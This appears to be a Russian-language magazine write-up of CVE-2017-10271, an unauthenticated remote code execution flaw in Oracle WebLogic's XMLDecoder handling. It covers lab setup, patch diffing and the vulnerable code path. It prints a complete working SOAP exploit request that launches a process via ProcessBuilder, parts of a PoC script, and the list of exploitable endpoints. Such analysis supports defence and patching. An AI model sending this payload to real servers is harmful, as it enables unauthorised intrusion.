• Партнер

  • Новая уязвимость в Oracle WebLogic позволяет выполнять произвольные команды на целевой системе любому атакующему без какой-либо авторизации. Разберемся, что именно должен делать атакующий и почему это работает.

    Сервер приложений WebLogic, как и большинство продуктов Oracle, широко распространен в энтерпрайз-среде и используется крупными компаниями по всему миру. Проблемы, подобные этой, могут грозить огромными убытками и повлечь за собой утечки приватных данных.

    Продукты компании PeopleSoft, производящей ПО для управления базами клиентов, финансового планирования и управления персоналом, тоже подвержены этой уязвимости, поскольку один из компонентов — это сервер WebLogic.

    Проблема заключается в некорректной фильтрации данных при парсинге пользовательского запроса в XML перед передачей его в XMLDecoder. Отвечает за это модуль WLS Security. Уязвимость получила номер CVE-2017-10271 — это логическое продолжение не до конца запатченной CVE-2017-3506 в модуле Web Services. Баг затрагивает версии WebLogic до 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 и 12.2.1.2.0.

     

    Подготовка

    Сначала поднимем и настроим наш первый в 2018 году стенд для тестирования уязвимости. Я сижу на винде и поэтому буду использовать win-версию сервера WebLogic.

    Для того чтобы загрузить сам дистрибутив, тебе понадобится рабочий аккаунт Oracle. Если у тебя его нет, то можешь зарегистрироваться тут. Далее переходим в раздел загрузок, принимаем лицензионное соглашение и выбираем нужную версию дистрибутива для загрузки.

    Рекомендую использовать ветку 10.3.6, так как там сразу работает уязвимый модуль. Windows Oracle WebLogic распространяется в виде инсталлятора, в котором уже имеется JDK, ведь дистрибутив написан на Java и требует Development Kit для работы.

    Инсталлятор WebLogic 10.3.6.0.0
    Инсталлятор WebLogic 10.3.6.0.0

    Сразу после завершения установки тебе предложат запустить и настроить рабочее окружение. Не вижу смысла отказывать в этом.

    Компоненты JDK в инсталляторе
    Компоненты JDK в инсталляторе

    После всех настроек мы получаем готовую рабочую среду для тестирования уязвимости.

    Стартовая страница WebLogic
    Стартовая страница WebLogic

    Если ты используешь Linux, то рекомендую поднять окружение через Docker, благо в репозитории ты уже можешь найти готовые сборки WebLogic. Вот, например, одна из них.

     

    Детали

    Давай сразу же проверим работу эксплоита. Загрузить один из вариантов PoC можно отсюда.

    Для корректной работы в качестве параметра нужно указать адрес сервера WebLogic. По умолчанию скрипт отправляет запрос с эксплоитом к роуту /wls-wsat/CoordinatorPortType.

    CVE-2017-10271/exploit.py
    54:     url_in = sys.argv[1]
    55: do_post(url_in, command_in)
    
    CVE-2017-10271/exploit.py
    42: def do_post(url_in, command_in):
    43:     payload_url = url_in + "/wls-wsat/CoordinatorPortType"
    

    После запуска PoC будет предложено ввести команду, которую нужно выполнить на удаленной системе.

    CVE-2017-10271/exploit.py
    53:     command_in = raw_input("Enter your command here: ")
    
    Успешная эксплуатация CVE-2017-10271 в Oracle WebLogic
    Успешная эксплуатация CVE-2017-10271 в Oracle WebLogic

    Поскольку это логическое продолжение уязвимости CVE-2017-3506, сначала взглянем, что делает патч, который Oracle выпустила для нее. Нужные нам файлы находятся в файле /lib/weblogic.jar, поэтому его надо декомпильнуть, например с помощью Java Decompiler.

    Декомпиляция weblogic.jar в Java Decompiler GUI
    Декомпиляция weblogic.jar в Java Decompiler GUI

    Нас интересует файл WorkContextXmlInputAdapter.java. Вместе с апрельским патчем разработчики добавили метод validate.

    WorkContextXmlInputAdapter.java
    21: public final class WorkContextXmlInputAdapter
    22:   implements WorkContextInput
    23: {
    24:   private final XMLDecoder xmlDecoder;
    25:
    26:   public WorkContextXmlInputAdapter(InputStream is)
    ...
    47:   private void validate(InputStream is)
    48:   {
    49:     WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    50:     try
    51:     {
    52:       SAXParser parser = factory.newSAXParser();
    53:       parser.parse(is, new DefaultHandler()
    54:       {
    55:         public void startElement(String uri, String localName, String qName, Attributes attributes)
    56:           throws SAXException
    57:         {
    58:           if (qName.equalsIgnoreCase("object")) {
    59:             throw new IllegalStateException("Invalid context type: object");
    60:           }
    61:         }
    62:       });
    63:     }
    

    Он проверяет переданный XML-запрос на наличие элементов Object, и если такой встречается, то скрипт кидает исключение Invalid context type: object.

    Однако не Object’ом единым живет RCE. Существует еще множество способов проэксплуатировать уязвимость в десериализации XML. Посмотрим на этот же файл, но уже из последней версии, где уязвимость исправлена.

    WorkContextXmlInputAdapter.java
    47:   private void validate(InputStream is)
    48:   {
    49:     WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    50:     try
    51:     {
    52:       SAXParser parser = factory.newSAXParser();
    53:       parser.parse(is, new DefaultHandler()
    54:       {
    55:         public void startElement(String uri, String localName, String qName, Attributes attributes)
    56:           throws SAXException
    57:         {
    58:           if (qName.equalsIgnoreCase("object")) {
    59:             throw new IllegalStateException("Invalid context type: object");
    60:           }
    61:           if (qName.equalsIgnoreCase("object")) {
    62:             throw new IllegalStateException("Invalid element qName:object");
    63:           } else if (qName.equalsIgnoreCase("new")) {
    64:                throw new IllegalStateException("Invalid element qName:new");
    65:           } else if (qName.equalsIgnoreCase("method")) {
    66:                throw new IllegalStateException("Invalid element qName:method");
    67:           } else {
    68:             if (qName.equalsIgnoreCase("void")) {
    69:               for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
    70:                 if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
    71:                   throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
    72:                 }
    73:               }
    74:             }
    75:             if (qName.equalsIgnoreCase("array")) {
    76:               String classElem = attributes.getValue("class");
    77:               if (classElem != null && !classElem.equalsIgnoreCase("byte")) {
    78:                 throw new IllegalStateException("The value of class attribute is not valid for array element.");
    79:               }
    

    Как видишь, список неугодных элементов расширился. 🙂 Значит, помимо Object, потенциально небезопасны также и new, method, void и array в некоторых случаях. Теперь взглянем на запрос, который отправляет эксплоит.

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: weblogic.visualhack:7001
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java class="java.beans.XMLDecoder" version="1.8.0_151">
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>cmd</string>
                </void>
                <void index="1">
                  <string>/c</string>
                </void>
                <void index="2">
                  <string>calc</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    

    Разумеется, хидер Content-Type должен быть text/xml, потому что мы тут отправляем на парсинг XML. В теле запроса, чтобы вызвать класс ProcessBuilder, используется элемент типа void. Эксплоит отправляет запрос на эндпойнт CoordinatorPortType, однако уязвим не только он. Другие можно отыскать, если заглянуть в файл web.xml из wls-wsat.war.

    Просмотр путей, которые можно использовать для эксплуатации
    Просмотр путей, которые можно использовать для эксплуатации
    CoordinatorPortType
    RegistrationPortTypeRPC
    ParticipantPortType
    RegistrationRequesterPortType
    CoordinatorPortType11
    RegistrationPortTypeRPC11
    ParticipantPortType11
    RegistrationRequesterPortType11
    

    Сам запрос обрабатывается адаптером WLSServletAdapter, который передает данные в метод ProcessRequest из файла WorkContextServerTube.java (ты можешь найти его в декомпилированном weblogic.jar по пути weblogic.wsee.jaxws.workcontex).

    WorkContextServerTube.java
    19: public class WorkContextServerTube
    20:   extends WorkContextTube
    21: {
    ...
    39:   public NextAction processRequest(Packet request)
    40:   {
    41:     this.isUseOldFormat = false;
    42:     if (request.getMessage() != null)
    43:     {
    44:       MessageHeaders hl = request.getMessage().getHeaders();
    45:       Header hn = hl.get(this.JAX_WS_WORK_AREA_HEADER, true);
    46:       if (hn != null)
    47:       {
    48:         readHeader(hn);
    49:       }
    50:       else
    51:       {
    52:         Header h = hl.get(WorkAreaConstants.WORK_AREA_HEADER, true);
    53:         if (h != null) {
    54:           if (supportWorkContextOldFormat) {
    55:             readHeaderOld(h);
    56:           } else {
    57:             throw new WebServiceException("Old format work area header is disabled.");
    58:           }
    

    Переменная h ссылается на раздел work:WorkContext из тела запроса, он отправляется в метод readHeadOld для дальнейшей обработки.

    WorkContextTube.java
    104:   protected void readHeaderOld(Header header)
    105:   {
    106:     try
    107:     {
    108:       XMLStreamReader reader = header.readHeader();
    109:       reader.nextTag();
    110:       reader.nextTag();
    111:       XMLStreamReaderToXMLStreamWriter x = new XMLStreamReaderToXMLStreamWriter();
    112:       ByteArrayOutputStream baos = new ByteArrayOutputStream();
    113:       XMLStreamWriter writer = XMLStreamWriterFactory.create(baos);
    114:       x.bridge(reader, writer);
    115:       writer.close();
    116:       WorkContextXmlInputAdapter xia = new WorkContextXmlInputAdapter(new ByteArrayInputStream(baos.toByteArray()));
    117:       receive(xia);
    

    Тут переменная xia содержит переданный нами сериализованный массив объектов. Затем выполняется функция receive в контексте переданных данных, которая, в свою очередь, вызывает метод readUTF, и он триггерит уязвимость.

    WorkContextXmlInputAdapter.java
    194:   public String readUTF()
    195:     throws IOException
    196:   {
    197:     return (String)this.xmlDecoder.readObject();
    198:   }
    

    Тут мы и получаем картину, которую наблюдали в самом начале, — успешную эксплуатацию и выполнение произвольного кода.

    Успешная эксплуатация RCE в Oracle WebLogic 10.3.6.0.0
    Успешная эксплуатация RCE в Oracle WebLogic 10.3.6.0.0
     

    Демонстрация уязвимости (видео)

     

    Выводы

    За последние два года Oracle закрыла огромное количество уязвимостей во всех своих продуктах, а Ларри Эллисон, один из основателей, заявил, что необходимо усилить безопасность продуктов компании, так как они часто играют ключевую роль для бизнеса.

    Эту уязвимость уже облюбовали злоумышленники, написав использующий ее троян-майнер. После успешной эксплуатации на сервер устанавливался майнер криптовалюты Monero xmrig, а процесс самого приложения WebLogic убивался. Судя по некоторым отчетам, злоумышленникам удалось «заработать» таким способом около 226 тысяч долларов.

    Эту атаку обнаружил и разобрал по полочкам (за что ему огромное спасибо) Ренато Мариньо (Renato Marinho), исследователь безопасности в Morphus Labs. Его смутили постоянные сбои в работе серверов WebLogic из-за их перегрузки.

    Патч для устранения уязвимости вышел еще в октябре 2017 года. Только вот никто не торопится обновляться, и на просторах Сети обитает еще много бажных серверов. Если ты администратор одного из них, то поспеши накатить свежие апдейты.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии